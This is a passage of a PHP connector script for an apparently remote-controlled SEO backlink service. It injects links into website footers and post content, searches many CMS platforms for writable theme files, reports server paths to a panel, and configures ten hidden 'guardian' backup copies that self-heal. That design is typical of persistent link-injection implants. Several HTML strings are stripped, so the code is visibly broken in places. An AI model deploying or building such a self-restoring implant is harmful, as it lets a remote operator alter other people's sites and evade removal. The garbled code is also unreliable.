stored config). define('FOOTER_LINK_CAP', 50); // max footer links kept per site (oldest dropped) define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min define('VALID_LINK_KINDS', 'footer,contextual'); function respond($success, $data = [], $message = '', $status = 200) { http_response_code($status); header('Content-Type: application/json; charset=UTF-8'); echo json_encode([ 'success' => (bool)$success, 'message' => (string)$message, 'data' => is_array($data) ? $data : [] ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function get_raw_body() { static $raw = null; if ($raw === null) { $raw = file_get_contents('php://input'); if ($raw === false) $raw = ''; if (strlen($raw) > MAX_REQUEST_BYTES) { respond(false, [], 'request_too_large', 413); } } return $raw; } function get_request_data() { $data = []; if (!empty($_GET)) { foreach ($_GET as $k => $v) $data[$k] = $v; } if (!empty($_POST)) { foreach ($_POST as $k => $v) $data[$k] = $v; } $raw = get_raw_body(); if ($raw !== '') { $json = json_decode($raw, true); if (is_array($json)) { foreach ($json as $k => $v) $data[$k] = $v; } } return $data; } function get_action_name($req) { $action = ''; if (isset($req['action'])) $action = (string)$req['action']; if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action']; if ($action === '') $action = 'ping'; $action = strtolower(trim($action)); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function load_json_file($path, $fallback = []) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored']; return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function allowed_render_types() { // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro) // were removed — they looked unnatural in footers and increased footprint. return ['text_inline', 'text_footer']; } function default_render_types() { // v5.4: single natural footer/inline text anchor. return ['text_footer']; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function default_placement_state() { return [ 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => [], ]; } function default_config() { // v5.4: render is ALWAYS visible. output_mode kept for backward-compat reads but // hidden/cloaked rendering has been removed entirely. return [ 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => default_render_types(), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => FOOTER_LINK_CAP, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ]; } function effective_footer_cap($config) { $cap = isset($config['footer_link_cap']) ? intval($config['footer_link_cap']) : FOOTER_LINK_CAP; if ($cap < 1) $cap = FOOTER_LINK_CAP; if ($cap > 1000) $cap = 1000; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function merge_configs($base, $incoming) { $out = $base; foreach ($incoming as $key => $value) { if ($key === 'placement' && is_array($value)) { $out['placement'] = array_merge(default_placement_state(), $value); } else { $out[$key] = $value; } } return $out; } function load_config() { $cfg = load_json_file(CONFIG_FILE, []); $cfg = merge_configs(default_config(), $cfg); $types = []; foreach ((array)($cfg['render_types'] ?? []) as $type) { $type = trim((string)$type); if ($type !== '') $types[] = $type; } $cfg['render_types'] = $types ?: default_render_types(); return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function is_panel_authenticated() { $expected = trim((string)PANEL_TOKEN); if ($expected === '' || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) { $provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } function load_nonce_store() { return load_json_file(NONCES_FILE, []); } function save_nonce_store($items) { return save_json_file(NONCES_FILE, $items); } function enforce_optional_replay_guard() { $ts = isset($_SERVER['HTTP_X_RS_TS']) ? trim((string)$_SERVER['HTTP_X_RS_TS']) : ''; $reqId = isset($_SERVER['HTTP_X_RS_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_RS_REQ_ID']) : ''; if ($ts === '' && $reqId === '') return; if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400); if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400); if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400); if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409); $store = load_nonce_store(); $now = time(); foreach ($store as $key => $seenAt) { if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) { unset($store[$key]); } } if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409); $store[$reqId] = $now; save_nonce_store($store); } function authenticate_protected_request() { if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401); enforce_optional_replay_guard(); } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, ['http', 'https'], true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function filter_render_types($types) { $allowed = allowed_render_types(); $final = []; foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ?: default_render_types(); } function apply_placement_snapshot_to_link($row, $placement) { $row['placement_status'] = $placement['status'] ?? 'not_installed'; $row['placement_strategy'] = $placement['strategy'] ?? null; $row['placement_target'] = $placement['target'] ?? null; $row['last_verified_at'] = $placement['last_verified_at'] ?? null; return $row; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $id = validate_link_id($row['id'] ?? ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = $config['placement'] ?? default_placement_state(); $kind = normalize_kind($row['kind'] ?? 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; // Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h). if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = [ 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))), 'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'), 'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null), 'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null), 'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null), ]; return $normalized; } function load_links() { $raw = load_json_file(LINKS_FILE, []); $config = load_config(); $normalized = []; foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function enforce_footer_cap($links, $config) { // Keep only the newest N footer links; contextual links are TTL-bound, not capped. $cap = effective_footer_cap($config); $footer = []; $other = []; foreach ($links as $id => $row) { if (($row['kind'] ?? 'footer') === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = []; foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filtered_links($links) { $visible = []; $expired = []; $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return [$visible, $expired]; } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return [ 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ]; } function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } // v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text, // genuinely on the page (no display:none / -9999px / 1px cloaking). function rootseo_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function rootseo_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '' . $anchor . ''; } // Build the visible footer block from FOOTER-kind links only. function rootseo_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); if (empty($activeLinks)) return ''; $anchors = []; foreach ($activeLinks as $link) { // Non-WP placements render contextual links in the footer too (real, visible). if (($link['kind'] ?? 'footer') === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) { continue; // contextual handled by the_content filter on WordPress } $anchors[] = build_footer_anchor_html($link); } if (empty($anchors)) return ''; return '
' . $a . '
'; // Insert after the first closing paragraph; fallback append. $pos = stripos($content, ''); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (\Throwable $e) { return $content; } } // Called by the mu-plugin / functions-hook on WordPress (early load). function rootseo_wp_register() { if (defined('ROOTSEO_WP_REGISTERED')) return; define('ROOTSEO_WP_REGISTERED', true); if (!function_exists('add_action')) return; if (function_exists('add_filter')) { define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true); add_filter('the_content', 'rootseo_contextual_inject', 50); } add_action('wp_footer', function () { echo rootseo_build_footer_html(true); }, 9999); rootseo_guardian_tick(); rootseo_autoclean_tick(); } function find_document_root() { $base = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (empty($base)) { $base = dirname(__FILE__); for ($i = 0; $i < 5; $i++) { if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break; $parent = dirname($base); if ($parent === $base) break; $base = $parent; } } return $base; } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latestTime = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latestTime) { $latestTime = $mtime; $latest = $footer; } } return $latest; } function get_footer_paths($base, $siteType) { $paths = []; switch ($siteType) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) $paths = array_merge($paths, $themes); break; case 'joomla': $tpls = glob($base . '/templates/*/index.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'drupal': $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'opencart': $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'prestashop': $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl'); if ($tpls) $paths = array_merge($paths, $tpls); $tpls2 = glob($base . '/themes/*/footer.tpl'); if ($tpls2) $paths = array_merge($paths, $tpls2); break; case 'laravel': $layouts = glob($base . '/resources/views/layouts/*.blade.php'); if ($layouts) $paths = array_merge($paths, $layouts); break; } $general = [ $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php' ]; foreach ($general as $path) { if (file_exists($path)) $paths[] = $path; } return array_values(array_unique($paths)); } function check_footer_writable($base, $siteType) { $paths = get_footer_paths($base, $siteType); foreach ($paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; return false; } function detect_site_info() { $base = find_document_root(); $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'document_root' => $base, 'connector_path' => __FILE__, ]; if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } $indexFiles = ['index.php', 'index.html', 'index.htm']; foreach ($indexFiles as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; $content = @file_get_contents($path, false, null, 0, 50000); if (!$content) continue; if (preg_match('/